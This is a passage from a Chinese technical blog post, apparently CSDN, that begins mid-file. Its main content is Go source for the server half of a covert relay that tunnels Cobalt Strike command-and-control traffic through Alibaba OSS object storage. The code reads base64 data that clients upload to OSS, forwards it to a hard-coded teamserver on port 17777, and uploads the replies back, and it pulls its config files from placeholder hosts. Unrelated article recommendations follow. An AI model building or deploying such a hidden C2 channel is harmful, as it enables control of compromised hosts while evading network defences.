	var uploadData UploadData
	err := json.Unmarshal(jsonData, &uploadData)
	if err != nil {
		return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
	}

	// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string,直接返回
	log.Println("parseUploadToken.UploadData",uploadData)
	return uploadData, nil
}





func getProgramDirectory() (string, error) {
	execPath, err := os.Executable()
	if err != nil {
		return "", err
	}
	return filepath.Dir(execPath), nil
}

func readUploadTokenFromFile(filename string) (UploadData, error) {
	programDir, err := getProgramDirectory()
	if err != nil {
		return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)
	}

	filename = filepath.Base(filename)
	log.Println("filename=>",filename)
	configFilePath := filepath.Join(programDir, filename)
	log.Println("readUploadTokenFromFile,configFilePath=>",configFilePath)
	data, err := ioutil.ReadFile(configFilePath)
	if err != nil {
		return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)
	}

	uploadData, err := parseUploadToken(data)
	if err != nil {
		return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)
	}

	return uploadData, nil
}


func Send(name string, filename string, content string) {
	UploadData, err := readUploadTokenFromFile(name)
	if err != nil {
		fmt.Println("Error reading or parsing JSON from file:", err)
		return
	}

	_, err = uploadFile(UploadData, filename, content)
	
	if err != nil {
		log.Println("文件上传失败:", err)
		return
	}
}





func checkURLStatus(url string) bool {
	resp, err := http.Head(url)
	if err != nil {
		fmt.Printf("检查 URL 失败: %v\n", err)
		return false
	}
	defer resp.Body.Close()

	if resp.StatusCode == http.StatusOK {
		return true
	}
	fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)
	return false
}

func waitForNextHalfHour() {
	now := time.Now()
	next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)
	duration := next.Sub(now)

	fmt.Printf("等待 %v 到下一个下载时间...\n", duration)
	time.Sleep(duration)
}

func downloadFile(filepath string, url string) error {
	resp, err := http.Get(url)
	if err != nil {
		return err
	}
	defer resp.Body.Close()

	out, err := os.Create(filepath)
	if err != nil {
		return err
	}
	defer out.Close()

	_, err = io.Copy(out, resp.Body)
	return err
}

func safeDownloadFile(filepath string, url string) error {
	tempFilepath := filepath + ".tmp"

	err := downloadFile(tempFilepath, url)
	if err != nil {
		return fmt.Errorf("下载失败: %w", err)
	}

	err = os.Rename(tempFilepath, filepath)
	if err != nil {
		return fmt.Errorf("替换文件失败: %w", err)
	}

	return nil
}

func timedownload() {
	execPath, err := os.Executable()
	if err != nil {
		fmt.Printf("获取程序路径失败: %v\n", err)
		return
	}
	execDir := filepath.Dir(execPath)

	filepath1 := filepath.Join(execDir, "Send-Client.json")
	filepath2 := filepath.Join(execDir, "Send-Server.json")
	
	url1 := "http://x.x.x.x:x/Send-Client.json"
	url2 := "http://x.x.x.x:x/Send-Server.json"
	
	fmt.Printf("检查文件1:%s\n", url1)
	if checkURLStatus(url1) {
		err = safeDownloadFile(filepath1, url1)
		if err != nil {
			fmt.Printf("下载失败: %v\n", err)
		} else {
			fmt.Println("下载成功")
		}
	} else {
		fmt.Println("URL不可用,跳过下载:", url1)
	}

	fmt.Printf("检查文件2:%s\n", url2)
	if checkURLStatus(url2) {
		err = safeDownloadFile(filepath2, url2)
		if err != nil {
			fmt.Printf("下载失败: %v\n", err)
		} else {
			fmt.Println("下载成功")
		}
	} else {
		fmt.Println("URL不可用,跳过下载:", url2)
	}

/*	for {
		waitForNextHalfHour()

		fmt.Printf("检查文件1:%s\n", url1)
		if checkURLStatus(url1) {
			err = safeDownloadFile(filepath1, url1)
			if err != nil {
				fmt.Printf("下载失败: %v\n", err)
			} else {
				fmt.Println("下载成功")
			}
		} else {
			fmt.Println("URL不可用,跳过下载:", url1)
		}

		fmt.Printf("检查文件2:%s\n", url2)
		if checkURLStatus(url2) {
			err = safeDownloadFile(filepath2, url2)
			if err != nil {
				fmt.Printf("下载失败: %v\n", err)
			} else {
				fmt.Println("下载成功")
			}
		} else {
			fmt.Println("URL不可用,跳过下载:", url2)
		}
	}*/

}

var fileLock sync.RWMutex // 定义一个文件锁
var taskQueue = make(chan string, 100) // 定义一个任务队列

func processQueue() {
	for task := range taskQueue {
		log.Println("[+]", "处理队列中的任务:", task)
		processServerWithLock(task) // 有序地处理任务
	}
}

func processServerWithLock(URLname string) {

	// 从name中提取UUID
	log.Println("[+]", "发现客户端")

	// 将Base64编码的数据解码
	sDec, err := base64.StdEncoding.DecodeString(string(URLname))
	if err != nil {
		log.Println("[-]", sDec, "Base64解码失败:", err)
		return
	}

	// 连接CS服务器
	conn, err := net.Dial("tcp", "x.x.x.x:17777") // 使用硬编码的CS服务器地址
	if err != nil {
		log.Println("[-]", conn, "连接CS服务器失败:", err)
		return
	}
	defer conn.Close()

	// 发送解码后的数据到CS服务器
	_, err = conn.Write(sDec)
	if err != nil {
		log.Println("[-]", "无法向CS服务器发送数据包:", err)
		return
	}

	// 设置读超时
	_ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
	var buffer bytes.Buffer

	// 从CS服务器读取响应数据
	for {
		var buf [1]byte
		n, err := conn.Read(buf[:])
		if err != nil {
			log.Println("[-]", "从CS服务器读取数据失败:", err)
			break
		}
		buffer.Write(buf[:n])

		// 检查是否接收完毕
		if strings.Contains(buffer.String(), "\r\n\r\n") {
			// 处理Content-Length
			if strings.Contains(buffer.String(), "Content-Length") {
				ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]
				log.Println("[+]", "数据包长度为:", strings.TrimSpace(ContentLength))

				// 继续读取指定长度的数据
				if strings.TrimSpace(ContentLength) != "0" {
					intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))
					if err != nil {
						log.Println("[-]", "Content-Length转换失败:", err)
						break
					}

					for i := 1; i <= intContentLength; i++ {
						var b [1]byte
						n, err = conn.Read(b[:])
						if err != nil {
							log.Println("[-]", "从CS服务器读取数据失败:", err)
							break
						}
						buffer.Write(b[:n])
					}
				}
			}

			// 处理Chunked传输
			if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {
				for {
					var b [1]byte
					n, err = conn.Read(b[:])
					if err != nil {
						log.Println("[-]", "读取Chunked数据失败:", err)
						break
					}
					buffer.Write(b[:n])
					if strings.Contains(buffer.String(), "0\r\n\r\n") {
						break
					}
				}
			}

			log.Println("[+]", "从CS服务器接受完毕")
			break
		}
	}

	// 将响应数据重新编码为Base64
	b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())

	Send("Send-Server.json", "server.zip", b64)
	log.Println("[+]", "服务器数据发送完毕")
	
	log.Println("文件上传完成,暂停30秒...")
	time.Sleep(30 * time.Second) // Pause for 30 seconds  


}


func checkFileChanges(currentContent string, server_address string) {
	// 加锁,防止与定时任务冲突
	log.Println("[+]", "尝试加锁以检测文件变化")
/*	fileLock.Lock()
	log.Println("[+]", "文件锁定成功,开始检查文件变化")
		defer func() {
		log.Println("[+]", "解锁文件")
		fileLock.Unlock()
	}()*/
		log.Println(currentContent)
		log.Println(previousContent)
//	if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {

		log.Println("[+]", "文件内容不一致,开始处理")
		previousContent = currentContent      // 更新存储的文件内容
		log.Println("currentContent:",currentContent)
		log.Println("previousContent:",previousContent)
		processServerWithLock(currentContent) // 处理客户端文件数据
/*	} else {
		log.Println("[+]", "文件内容一致,无需处理")
		
	}*/
}

func startServer(server_address string) {

	log.Println("[+]", "服务端启动成功")
	

	for {
		
		time.Sleep(6 * time.Second)

		// 获取 Send-Client.json 中的 URL
		clientURL,err := Getfile("Send-Client.json")
		
		log.Println("clientURL=>",clientURL)
		currentContent, err := fetchFileContent(clientURL)
		log.Println("currentContent=>",currentContent)
		if err != nil {
			log.Println("[-]", "获取客户端文件失败:", err)
			return
		}
		println("大小为%s", len(currentContent))

		checkFileChanges(currentContent, server_address)
		

	}
}


func main() {

	go timedownload()
	server_address := "x.x.x.x:17777"

	startServer(server_address)


}

涉及json文件
Send-Client.json

{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}

Send-Server.json

{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}

致谢:
主要代码提供者,钓鱼佬pant0m
其语雀链接:
https://www.yuque.com/pant0m

红队视角下的OSS对象存储安全攻防:从配置风险到横向移动实战 对象存储(Object Storage Service, OSS)作为云原生架构的核心组件,其设计初衷是提供高可用、高扩展的互联网数据存取服务。其技术原理基于键值对存储模型,通过唯一的URL标识和访问对象,这种开放性在带来便捷性的同时,也引入了显著的安全挑战。核心的技术价值在于平衡存储效率与访问控制,一旦权限配置不当,极易引发数据泄露。在应用场景上,OSS广泛用于静态资源托管、备份归档、大数据分析等。本文聚焦于【公开访问】和【权限绕过】两大核心风险点,深入剖析攻击者如何利用配置疏忽进行信息收集、权限滥用,并 阅读详情

相关推荐

OSS存储桶安全攻防实战:5种典型攻击手法与防御清单

对象存储服务(OSS)作为云原生架构中存储非结构化数据的核心组件,其高扩展性与低成本特性使其广泛应用于静态资源托管、备份归档等场景。其安全核心在于访问控制策略的精细化管理,包括Bucket Policy、ACL与临时凭证等机制。若配置不当,如误设公共读写权限或在策略中使用过度宽松的通配符,将导致存储桶暴露于公网,引发严重的数据泄露风险。攻击者可利用信息收集、权限滥用及策略绕过等技术,对公开存储桶进行枚举、敏感数据遍历、恶意文件上传甚至权限提升,进而窃取源代码、数据库备份等核心资产。为有效防御,需遵循最小权限

weixin_30905981的博客 329

阿里OSS对象存储 失败——与阿里售后工程师的一次沟通

阿里OSS对象存储 前几天公司要求做一个app上传视频和图文的功能,针对视频与图片的上传,公司这边走的是阿里的OSS对象存储。 在之前的测试过程中,部分视频上传会失败。由于我对这个OSS存储不是很熟,因此我咨询了阿里的售后工程师,结果发现:我挺瞎的……[捂脸] 与阿里售后工程师聊天记录如下: 问题描述:有些几M的视频是可以上传成功的,但是超过几M之后就不能上传成功了,但是具体几M,我还不清楚……,也没有办法弹窗提示用户。 在提供了一系列的上传参数后,阿里工程师回复如下: 在前端代码中,我找到了这个co

yehaocheng520的博客 1385

从AK泄露到云安全:一次OSS Accesskey的深度剖析

本文深度剖析了OSS AccessKey泄露的严重性与安全风险。通过真实案例,揭示AK硬编码在前端代码等常见泄露途径,并演示攻击者如何利用泄露的AK通过ossbrowser等工具接管云存储资源。文章强调遵循最小权限原则、使用RAM角色替代长期AK、启用操作审计等核心防护措施,为企业构建云安全防线提供实用指南。

weixin_29201313的博客 85

阿里云OSS上传文件

【代码】阿里云OSS上传文件。

qq_51598807的博客 460

【网络安全】新型网络犯罪攻防技术研究

前言 ​ 大家好,我是风起。本次带来的是对于新型网络犯罪的渗透研究,区别于常规的渗透测试任务,针对该类站点主要核心不在于找出尽可能多的安全隐患,更多的聚焦于 数据 这个概念。值得注意的是,这里的数据更多时候指的是:代理身份、后台管理员身份、受害人信息、后台数据、 消费凭证 等信息。总的来说,一切的数据提取都是为了更好的落实团伙人员的身份信息。 ​ 所以无论是获取权限后的水坑钓鱼还是拿到数据库权限后提取信息亦或者提取镜像数据的操作都是在这个基础之上的。本文将以深入浅出的方式对渗透该类犯罪站点时的一些注意事项.

HBohan的博客 9207

浏览器插件BucketTool:一键检测云存储桶安全配置漏洞

云存储服务(如AWS S3、阿里云OSS)已成为现代应用架构的核心组件,其通过对象存储模型提供海量数据存取能力。其安全性高度依赖于访问权限配置,原理上通过访问控制列表(ACL)、存储桶策略(Bucket Policy)和跨域资源共享(CORS)等机制管理数据访问。配置错误将直接导致数据泄露风险,技术价值在于将安全左移,在开发与日常运维中低成本预防。典型应用场景包括检测存储桶是否公开可读/写、CORS策略是否过于宽松,以及策略语句是否存在逻辑漏洞。本文介绍的BucketTool插件,正是聚焦于上述云存储配置风

weixin_30542079的博客 425

阿里云OSS文件存储使用

一 账号开启服务 1.支付宝开启oss服务 https://oss.console.aliyun.com/bucket/oss-cn-shenzhen/wwl-image-bucket/overview 2.创建bucket 3.创建accesskey https://usercenter.console.aliyun.com/#/manage/ak 二 .API开发使用 https://help.aliyun.com/document_detail/52834.html?spm=

qq_35491812的博客 1807

【ACP】2025-最新-疑难题解析-7

本题需结合 UDP 协议 “快速、无连接、不保证可靠” 的特点,筛选对实时性要求高、可容忍丢包的场景(视频、推送、聊天、实时识别 ),排除依赖可靠传输的场景(邮件 ),同时注意域名解析场景中 SLB UDP 负载均衡的适用性边界。本题需区分 SLB Listener 的核心配置(端口、策略、健康检查 )与实例属性(IP 地址 )、服务器组配置(实例个数 )的差异,明确 Listener 是 “监听请求 + 分发规则 + 健康检查” 的集合。B. 每个 Pod 都拥有自己独立的网络栈和 IP 地址。

jundao1997的专栏 113

js前端直传阿里云OSS,解决大文件上传限制

使用js直传oss阿里云存储文件,解决大文件上传服务器限制_js上传oss_孙奋斗的博客-CSDN博客使用js直传oss阿里云存储文件,解决大文件上传服务器限制每个OSS的用户都会用到上传服务。Web端常见的上传方法是用户在浏览器或App端上传文件到应用服务器,应用服务器再把文件上传到OSS。具体流程如下图所示。客户短上传和数据直传到OSS相比,以上方法有三个缺点:上传慢:用户数据需先上传到应用服务器,之后再上传到OSS。网络传输时间比直传到OSS多一倍。

优秀技术文章收录 4302

Construct3开发的钓鱼H5小游戏源码,支持PWA安装与离线游玩

直接上传就能跑的钓鱼主题H5小游戏,用Construct 3制作,包含完整工程文件Fishing.c3p和导出的HTML5运行包。内置box2d.wasm物理引擎实现真实抛竿、收线、鱼挣扎效果,CSS样式已调优,适配手机竖屏操作。通过service worker(sw.js)+离线资源清单(offline.)+应用清单(appmanifest.)+多尺寸图标(icons目录)实现PWA能力,用户可添加到桌面、断网也能打开主界面并游玩基础流程。媒体资源按类型分在images、media目录,游戏逻辑脚本集中在

ik678901234的博客 273

Spring Boot与微信小程序构建互动式网络安全科普平台实战

在当今数字化时代,网络安全已成为一项基础且至关重要的技术领域,其核心原理在于通过技术手段保护网络系统、硬件、软件及数据免受攻击、破坏或未授权访问。从技术价值看,它不仅保障了个人隐私与财产安全,更是企业运营和社会稳定的基石。在应用场景上,网络安全知识的普及与教育需求日益增长,传统的单向灌输模式效果有限。因此,结合现代Web开发技术栈,构建互动式、场景化的科普平台成为有效解决方案。本文聚焦于利用Spring Boot后端框架与微信小程序前端技术,实现一个轻量化、强交互的网络安全知识普及系统。通过整合JWT认证、

weixin_33795743的博客 352

阿里云对象存储oss的使用和解决对象存储oss跨域问题

默认你是开通了,开通很容易,一点即可。

x_h_j_的博客 5240

硅传CC1310二次开发必备:手把手教你用JTAG解锁被锁定的Flash存储器

本文针对硅传CC1310模块二次开发中常见的Flash锁定问题,提供了从原理剖析到实战操作的完整解决方案。详细介绍了如何使用Uniflash和Flash Programmer 2等工具进行Flash解锁和擦除,并强调了硬件连接稳定性与供电质量的关键作用,帮助开发者彻底解决烧录障碍,为后续应用开发铺平道路。

weixin_29189373的博客 244

ACP考前错题总结(精华,已过ACP)

前言 证书和战绩镇楼,希望大家都可以拿到自己想要的Certificate。无论ACA-ACP-ACE亦或者GCP、AWS等等。 错题总结 镜像、本地磁盘部分 不建议基于本地服务器制作镜像上传到阿里云ECS并提供服务。 不支持写在座位数据盘使用的本地盘 镜像和快照:镜像可以复制镜像实现用户跨地域迁盘,直接创建ECS,一定包含系统盘;快照只能跨可用区迁盘,多用于备份,可以是系统盘或者数据盘。 磁盘序号,只支持新建磁盘,已创建过得磁盘不具备该特性。 本地快照实现高IO云盘数据备份。 本地磁盘或者本地SSD创建

★【World Of Moshow 郑锴】★ 2414

TX 的 LOL(Local Oscillator Leakage,本振泄露)

项目内容LOL 是什么本振残留在 TX 输出中心频率上的杂散主要原因IQ 失衡、硬件不完美、零中频架构影响杂散、干扰、性能劣化、安全问题解决方法初始化校准 + 跟踪校准(AD9371 支持)检测手段频谱仪、回环检测、ADC ILA 抓取。

weixin_41230430的博客 2032

基于openEuler配置LAMP,部署WordPress

openEuler 基于OpenEular操作系统部署WordPress,必须包含以下内容: OpenEular的安装与基本配置。 基于SSH远程管理方式开展操作。 部署LAMP环境。 部署WordPress软件。 提供个人网站服务,并通过浏览器测试应用。 简要讲授相关知识与原理。 cd /etc/yum.repos.d 欧拉系统安装后,没有配置yum源,我们需要重新配置。 [root@localhost yum.repos.d]# ls -l 总用量 4 -rw-r--r--

Axiayouqiaomu的博客 6073

云服务滥用钓鱼攻击剖析与华为云防御实战

网络钓鱼攻击是网络安全领域的常见威胁,其核心原理是利用社会工程学手段,诱导用户在伪造的页面上提交敏感凭证。随着云计算技术的普及,攻击者开始大规模滥用主流云服务商提供的合法基础设施,如对象存储、云函数和CDN,来构建高可信度、低成本的钓鱼攻击平台。这种技术演进使得攻击的隐蔽性和成功率大幅提升,对传统基于IP/域名黑名单的防御方式构成了严峻挑战。从技术价值看,理解云原生环境下的攻击链,对于构建主动防御体系至关重要。在应用场景上,企业安全团队需要重点关注云资源的异常行为监控、网络流量分析以及多因素认证的强制实施。

weixin_30564785的博客 308

高速设计注意事项总结——MDI篇

在以太网高速通信系统中,MDI(Medium Dependent Interface,介质相关接口)是连接物理层芯片(PHY)与传输介质(如网线)的关键接口,其设计直接影响信号完整性、传输速率和抗干扰能力。本文围绕 MDI 及 RJ45 接口电路、关键参数、设计与布线要点展开,为高速以太网设计提供参考。本文包含MDI 及 RJ45 接口电路组成、电路设计注意事项、布局布线要求等内容

qq_16237389的博客 1425

微信小程序基于Android的垂钓渔具销售商城 钓鱼钓友交流平台的设计与实现

2、同时增加文字触发提醒,设置提醒语,有相同字段的数据,会触发弹框提醒,例如设置状态提醒:特急/加急/一般 增加自定义提醒语(如:库存不足,请补货)对于本系统,我们提供全方位的支持,包括修改时间和标题,以及完整的安装、部署、运行和调试服务,确保系统能在你的电脑上顺利运行。AI续写、AI优化、AI校对、AI翻译:新增AI接口,编辑器接入AI,可以实现AI续写、AI优化、AI校对、AI翻译,可以帮你实现自动化,ai帮你完成文档。二维码(三端):可以生成一个二维码的图片,用手机扫一扫可以查看二维码里面的信息。

wx_bishe288的博客 214

【可穿戴算法开发】-PPG信号检测方法

文章目录一、PPG(光电容积脉搏波法)信号的检测原理二.PPG技术目前存在的问题(挑战)三. **心电信号产生的原理** 随着经济的发展,在人们生活水平提高的同时,高脂肪摄入和低运动量成为了人们普遍的生活模式,近年来高血压、高血脂已经发展为危险性最高的病症。心电、血压、血氧等生理参数是预防和分析心血管疾病的重要生理参数。 常用的心电测量仪器有:多导ECG心电图仪、PPG心率检测器、心率带等; 常...

wxq_1993的博客 2万+

基于STM32F1XX 、HAL库的LTR-303ALS-01 环境光传感器驱动应用C语言程序设计

printf("制造商ID: 0x%02X\r\n", LTR303_ReadManufacID());printf("器件ID: 0x%02X\r\n", LTR303_ReadPartID());LTR-303ALS-01是一款数字环境光传感器(ALS),由Lite-On公司生产。printf("LTR-303ALS初始化失败!printf("LTR-303ALS初始化成功!printf("数据无效\r\n");* @param mode: 0-待机, 1-激活。

PP_Cottage的博客 1027

银狐再起风波:2024税务抽查引战勒索风暴

2024 税务随机抽查开启,银狐再引风波!《亚信安全2024年3月威胁报告》已开放下载~

亚信安全官方账号的博客 1894

YOLOv11改进策略【损失函数篇】| WIoU v3:针对低质量样本的边界框回归损失函数

是一种基于IoU的损失函数,旨在解决目标检测中边界框回归损失函数在处理低质量训练数据时的问题。论文链接:https://arxiv.org/pdf/2301.10051 源码链接:https://github.com/Instinct323/wiou此处需要查看的文件是中定义了模型的损失函数和计算方法,我们想要加入新的损失函数就只需要将代码放到这个文件内即可将下方的函数替换原本的函数即可: 用于计算各种损失。在内修改如下代码,使模型调用此损失函数。 tal.py中是一些损失函数的功能应用。在内修改如下代码,

Limiiiing的博客 3774

OpenClaw生产级混合部署实战:阿里云与本地一键落地指南

OpenClaw作为面向AI Agent工作流编排的开源框架,其核心价值在于实现大模型与工具链的自动化闭环执行。它不依赖单点强推理,而是通过任务调度、多工具调用与状态反馈构建真实可用的AI自动化系统。技术实现上强调环境适配性与资源可控性,尤其在Docker容器化与宿主机基础设施(如MySQL、Nginx)的混合部署模式中体现显著工程优势——既规避容器内存虚化导致的PostgreSQL性能瓶颈,又保障反向代理与证书管理等关键能力的原生稳定性。该方案已实测覆盖阿里云ECS、WSL2、群晖及物理服务器等多元环境,

382

Lumerical 教程,包含作者个人理解及相关设计案例 (目前共计184篇,持续更新中)

4138。

u011699626的博客 1520

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

基于微信小程序的钓鱼论坛系统设计与实现

在移动互联网时代,社区类应用作为连接用户的桥梁,其核心在于内容的高效组织与安全管控。构建一个稳定、可扩展的论坛系统,需要从用户认证、数据建模到内容审核进行全链路设计。本文以微信小程序为前端载体,结合Spring Boot与MySQL,阐述论坛系统的技术选型、数据库表结构设计要点以及登录态、图片上传、内容安全等关键模块的实现思路。同时,针对社区类小程序常见的性能瓶颈与平台合规问题进行剖析,帮助开发者快速掌握从零构建一个轻量级UGC社区的方法。无论用于课程设计还是商业实践,这套方案都具有很强的参考价值,并自然引

weixin_42683394的博客 195

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

上一篇: tessteract及其ddddocr验证码识别
下一篇: linux分区扩展
qieziwa(boy)
博客等级 码龄7年 5703粉丝 160原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值